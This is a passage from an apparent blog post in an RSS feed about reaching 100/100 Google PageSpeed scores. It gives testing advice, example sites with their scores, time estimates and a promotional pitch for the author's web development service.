&lt;strong&gt;Address the largest issue first&lt;/strong&gt; (typically render-blocking CSS or oversized images)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Re-test and iterate&lt;/strong&gt; until reaching 90+/100&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;A perspective on perfection:&lt;/strong&gt; Don't necessarily chase 100/100 if you're already at 95+. The final 5 points often represent diminishing returns. Consider whether that time is better spent on content, user experience, or other priorities.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real device testing:&lt;/strong&gt; Test on actual mobile devices when possible, not just Chrome DevTools simulation. Real hardware reveals issues that simulators miss.&lt;/p&gt;




&lt;h2&gt;
  
  
  What do these techniques look like in practice?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Examples you can test right now:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I built these sites to demonstrate these techniques in production:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Professional Services Example&lt;/strong&gt; - &lt;a href="https://zenaith.codecrank.ai" rel="noopener noreferrer"&gt;zenaith.codecrank.ai&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Scores:&lt;/strong&gt; 100/100/100/100 (all four metrics)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;LCP:&lt;/strong&gt; 1.8 seconds&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Techniques used:&lt;/strong&gt; Inline critical CSS, AVIF images, zero render-blocking scripts, CLS: 0&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verification:&lt;/strong&gt; Click "⚡ PageSpeed Me" in the footer to test live&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;MedConnect Pro (Healthcare Site)&lt;/strong&gt; - &lt;a href="https://medconnect.codecrank.ai" rel="noopener noreferrer"&gt;medconnect.codecrank.ai&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Scores:&lt;/strong&gt; 100/100/100/100 (perfect scores across all metrics)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Techniques used:&lt;/strong&gt; AVIF conversion, responsive images, semantic HTML, accessibility-first design&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verification:&lt;/strong&gt; Click "⚡ PageSpeed Me" in the footer to test live&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Mixology (Cocktail Recipes)&lt;/strong&gt; - &lt;a href="https://mixology.codecrank.ai" rel="noopener noreferrer"&gt;mixology.codecrank.ai&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Score:&lt;/strong&gt; 96/100 mobile, 100/100 desktop&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Techniques used:&lt;/strong&gt; Static generation, optimized images, minimal JavaScript&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can test any of these sites yourself. Newer sites even include a 'PageSpeed Me' button linking directly to Lighthouse testing. I have nothing to hide—the scores are verifiable.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Honest Take
&lt;/h2&gt;

&lt;p&gt;Most developers ship sites that "work" and move on. Getting to 100/100 takes additional time and attention to detail that many choose not to invest.&lt;/p&gt;

&lt;p&gt;I put PageSpeed buttons on every site I build because the work should speak for itself. If I claim 100/100, you can verify it immediately. If I don't achieve it, I'll explain exactly why (client-requested features, necessary third-party integrations, etc.).&lt;/p&gt;

&lt;p&gt;Fair warning: PageSpeed scores can fluctuate by a few points depending on network conditions, server load, and time of day. A site scoring 100/100 might test at 98/100 an hour later. What matters is consistent high performance (90-100 range), not chasing a perfect score every single test.&lt;/p&gt;

&lt;p&gt;This transparency is uncommon in web development. Many agencies don't want you testing their work. I built these techniques into my process specifically so performance isn't an afterthought—it's built in from the start.&lt;/p&gt;

&lt;p&gt;The results are measurable, verifiable, and reproducible. Some clients care deeply about performance. Some don't. I serve those who do.&lt;/p&gt;




&lt;h2&gt;
  
  
  What's the realistic time investment?
&lt;/h2&gt;

&lt;p&gt;Optimizing to 100/100 isn't quick the first time through. For a typical site, expect:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;1-2 hours: Image optimization (format conversion, resizing, quality testing)&lt;/li&gt;
&lt;li&gt;1-2 hours: CSS optimization (critical extraction, inline implementation)&lt;/li&gt;
&lt;li&gt;1 hour: Layout shift fixes (dimensions, aspect-ratios, font configuration)&lt;/li&gt;
&lt;li&gt;1 hour: Testing and iteration&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Total:&lt;/strong&gt; 4-6 hours for first-time implementation&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;However:&lt;/strong&gt; Once you've completed this process for one site, you understand the patterns. Your second site takes approximately 2 hours. Your tenth site takes 30 minutes because you've built the tooling and established the workflow.&lt;/p&gt;

&lt;p&gt;Most developers never invest this time because "good enough" ships. But if you care about user experience, SEO performance, and conversion rates, it's worth learning these techniques.&lt;/p&gt;




&lt;h2&gt;
  
  
  What comes next?
&lt;/h2&gt;

&lt;p&gt;You now understand how to achieve 100/100 PageSpeed scores. You know the techniques, the trade-offs, and the testing approach.&lt;/p&gt;

&lt;p&gt;In my next article, I'll examine why performance optimization often gets overlooked in professional web development. I'll share a real case study—a $5,000 professional website scoring 40/100—and explain what affects the cost and quality of web development.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Want to verify these techniques work?&lt;/strong&gt; Visit any of the sites mentioned above and click "⚡ PageSpeed Me" to test them live. Then consider: what would perfect performance scores mean for your business?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Need help with performance optimization?&lt;/strong&gt; Visit &lt;a href="https://codecrank.ai" rel="noopener noreferrer"&gt;codecrank.ai&lt;/a&gt; to learn about our approach to web development. We build performance optimization into every project from day one.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;All performance metrics verified with Google Lighthouse. Sites tested on mobile with 4G throttling and mid-tier device simulation.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>webdev</category>
      <category>performance</category>
      <category>tutorial</category>
    </item>
  </channel>
</rss>
